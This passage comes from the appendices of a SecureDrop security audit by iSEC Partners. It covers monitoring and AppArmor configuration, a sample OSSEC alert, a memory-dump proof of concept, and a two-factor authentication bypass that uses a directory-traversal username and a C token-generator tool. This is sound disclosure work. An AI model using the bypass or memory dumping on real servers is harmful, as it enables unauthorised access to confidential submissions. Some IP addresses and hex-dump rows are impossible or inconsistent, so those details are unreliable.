  <log_format>syslog</log_format>
  <location>/var/chroot/document/var/log/tor/log</location>
</localfile>
```

Listing 8: ossec.conf

Fortunately, the Apache access log for the source application is not watched. Reporting the access log for the source application would have allowed for correlations attacks, which can be used to identify the source.
A.2 AppArmor Profiles

The document and source AppArmor profiles for Apache allow old or deprecated dependencies as described in finding 10 on page 26. The AppArmor profiles in question are:

- securedrop/install_files/app-hardening/etc/apparmor.d/var.chroot.document.usr.lib.apache2.mpm-worker.apache2
- securedrop/install_files/app-hardening/etc/apparmor.d/var.chroot.source.usr.lib.apache2.mpm-worker.apache2

The profiles allow read-only access to a directory to two JavaScript files that no longer exist, as is the case with Local Forage.

- /var/chroot/document/var/www/securedrop/static/js/libs/jquery-2.0.3.min.js
- /var/chroot/document/var/www/securedrop/static/js/libs/localForage.js
B OSSEC Alerts

The following is an example of an email alert sent by OSSEC. For a description of the issue, please see finding 6 on page 22.

```
BOSSEC Alerts

Received: from psmtp.com (74.125.245.125) by EXCH.corp.isecpartners.com (324.839.269.892) with Microsoft SMTP Server (TLS) id 14.1.438.0; Sat, 7 Jun 2014 10:29:21 -0700
Received-SPF: pass (google.com: domain of testdolan@gmail.com designates 209.85.192.194 as permitted sender) client-ip=209.85.192.194;
Received: from mail-pd0-f194.google.com ([209.85.192.194]) (using TLSv1) by na3sys010amx125.postini.com ([74.125.244.10]) with SMTP; Sat, 07 Jun 2014 17:29:20 GMT
Received: by mail-pd0-f194.google.com with SMTP id w10so1362040pde.5 for <valentin@isecpartners.com>; Sat, 07 Jun 2014 10:29:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
       d=gmail.com; s=20120113;
b=OhB32yVA3Y1u1zy2cC6LPyWE4D6t1xUs7XjXjBEAsgGcYcVLOJEn/BBKMxZd/0i/A

X-Received: by 10.68.132.68 with SMTP id os4mr738128pbb.129.1402162159955; Sat, 07 Jun 2014 10:29:19 -0700 (PDT)
Return-Path: <testdolan@gmail.com>
Received: from monitor.securedrop ([554.987.263.334]) by mx.google.com with ESMTPSA id hb10sm5077525pbd.75.2014.06.07.10.29.18 for <valentin@isecpartners.com> (version =TLSv1.1 cipher =ECDHE-RSA-RC4-SHA bits=128/128); Sat, 07 Jun 2014 10:29:19 -0700 (PDT)
From: <testdolan@gmail.com>
X-Google-Original-From: ossec@monitor.securedrop
Subject: OSSEC Notification - monitorserver - Alert level 3
To: <valentin@isecpartners.com>
X-Mailer: mail (GNU Mailutils 2.2)
Message-ID: <20140607172917.A6D6123599@monitor.securedrop>
Date: Sat, 7 Jun 2014 13:29:17 -0400 (EDT)
X-psn-neptune: 0/0/0/0
X-psn-dkim: 1 skipped:not-enabled
Content-Type: text/plain
X-MS-Exchange-Organization-AuthSource: exh.corp.isecpartners.com
X-MS-Exchange-Organization-Auths: Internal
X-MS-Exchange-Organization-AuthMechanism: 10
MIME-Version: 1.0

-----BEGIN PGP MESSAGE-----
Version: GnuPG v1.4.11 (GNU/Linux)
hQEMAy6OH7U2V4a2fAcGAsBlz8nqVfClCNg1qXw2M51Niu3jKakGhjobCIH3mdGn
+DCspDEF/2AakE2zEqvMuVv2Bae0Or+sTsyGyUyjkK1k7x1d9D/F1y9yE5S3sSp
/13k15G6xSn4h4IvBtEkYjx6uLgbcO6t9QP61VMFkJx0BldDkEXqiliay3OF12
CL7n9A8cmXYQvUvhB7fH9LGlwX/9sj7fW7cqi1fZwhd80xsYS27sG7yofpZ
+x/r+bo1jEuGCfG7zCWBH6oYR35STF1vked2wLdpFPF32jQAx6dSeYXcrREemNS4qVRBP
/ga3VKUxMrFQ6ekdKekaKP/Dx9Ayk17e99CBqHoNdLAMG6YLQpyls2M0mKvPbb
```

July 14, 2014
Open Technology Fund Confidential
Version 1.1
Listing 9: OSSEC Alert

The original IP address of the application has been replaced in the previous listing.
C  Sensitive data remains in memory

C.1  Proof of concept

The following is a proof of concept for finding 3 on page 19.

A text document is submitted to the SecureDrop application containing the string iSEC testing!. This document is encrypted and saved on the server. The source interface python code runs inside the wsgi:source processes:

```
# ps aux | grep wsgi:source
vagrant@iscocapp-1 | grep wsgi:source
666  6908  0.0  0.0  93.7 728765 46804 ?  S  16:48 00:00 (wsgi:source) -k start
666  6909  0.0  0.0  12.1 663260 61804 ?  S+ 16:48 00:00 (wsgi:source) -k start
vagrant  7210  0.0  0.1  9932 900 pts/1  S+ 17:04 00:00 grep --color=auto wsgi:source
```

Figure 2: Running ps aux to obtain the PID

After obtaining the proper PID, dump the memory from /proc/[pid]/mem into a file. Opening this file up in a hex editor yields the unencrypted string iSEC testing!.

```
024FE6B0 6F 6E 73 20 62 61 73 65 64 20 68 6E 20 64 68 61
024FE620 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE630 20 20 54 68 69 73 69 64 65 64 20 69 64 20 64 68 61
024FE640 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE650 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE660 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE670 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE680 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE690 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE6A0 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE6B0 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE6C0 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE6D0 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE6E0 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE6F0 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE700 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE710 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE720 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
024FE730 6C 65 6D 74 20 69 64 20 75 73 65 2E 0A 0A 20 20
```

Figure 3: Unencrypted, sensitive data in memory

Data from the encrypted document is seen unencrypted in memory, hours after being uploaded on the server.
D Apache Two Factor Authentication (2FA) module bypass

D.1 Proof of concept

The following is a proof of concept for finding 2 on page 18.

For this example, the file `/etc/hostname` is selected because it contains known content that may be used as a secret seed for Google Authenticator, other files containing static content, such as `/etc/lsb_release` could be used. The hostname is set as “appserver” and this value is used to generate a Google Authenticator token using the tool laid out in listing Appendix D.2. In order to successfully build this tool, link the code provided against the google-authenticator-apache-module object code.

Running it with the secret will yield a token valid for the next 30 seconds:

```
./gatool appserver
Time: 46762100 Secret: appserver Token: 891596
```

Listing 10: Authenticator helper tool

The username “../../../../etc/hostname” and the generated token are then provided to the authentication prompt on the document interface:

![Login screen](image)

The Apache module do not prevent directory traversal and authenticates the user. Enabling debugging in the module yields the following logs:

```
[Sun Jun 15 16:10:10 2014] [error] [client 192.168.XXX.YYY] **** COOKIE AUTH at T =1402863010
[Sun Jun 15 16:10:10 2014] [error] [client 192.168.XXX.YYY] **** PW AUTH at T =1402863010 user "../../../../etc/hostname"
[Sun Jun 15 16:10:10 2014] [error] [client 192.168.XXX.YYY] Secret Key is "(null)" @ T=46762100
[Sun Jun 15 16:10:10 2014] [error] [client 192.168.XXX.YYY] Checking codes @ T=46762100 "722320" vs. "891596"
[Sun Jun 15 16:10:10 2014] [error] [client 192.168.XXX.YYY] Checking codes @ T=46762100 "505794" vs. "891596"
[Sun Jun 15 16:10:10 2014] [error] [client 192.168.XXX.YYY] Checking codes @ T=46762100 "891596" vs. "891596"
[Sun Jun 15 16:10:10 2014] [error] [client 192.168.XXX.YYY] Created cookie expires 1403866610 hash is 3GDbFwZm5StK43jq45TeAp= Cookie: google_authn="../../../../etc/hostname:1403866610:3GDbFwZm5StK43jq45TeAp="
```

Listing 11: google-authenticator-apache-module debug log
D.2 Authenticator helper tool

The following test code was developed by iSEC as a proof of concept to demonstrate the vulnerability.

```c
#include <stdio.h>
#include <string.h>
#include "base32.h"
#include "hmac.h"
#include "sha1.h"

static unsigned int get_timestamp () {
    int unix_time = time(0L)/30;
    return (unix_time);
}

static unsigned int computeTimeCode(unsigned int tm, unsigned char *secret, int secretLen) {
    unsigned char hash[SHA1_DIGEST_LENGTH];
    unsigned long chlg = tm;
    unsigned char challenge[8];
    unsigned int truncatedHash = 0;
    int j;
    for (j = 8; j--; chlg >>= 8) {
        challenge[j] = chlg;
    }
    hmac_sha1(secret, secretLen, challenge, 8, hash, SHA1_DIGEST_LENGTH);
    int offset = hash[SHA1_DIGEST_LENGTH - 1] & 0xF;
    for (j = 0; j < 4; ++j) {
        truncatedHash <<= 8;
        truncatedHash |= hash[offset + j];
    }
    memset(hash, 0, sizeof(hash));
    truncatedHash &= 0x7FFFFFFF;
    truncatedHash %= 1000000;
    return truncatedHash;
}

int main(int argc, char **argv) {
    unsigned int tm = get_timestamp();
    unsigned char buf[512];
    char *secret = (argc > 1 ? argv[1] : "precise64");
    int len = base32_decode(secret, buf, sizeof(buf));
    unsigned int code = computeTimeCode(tm, buf, len);
    printf("Time: %d Secret: %s Token: %u\n", tm, secret, code);
}
```

Listing 12: Authenticator helper tool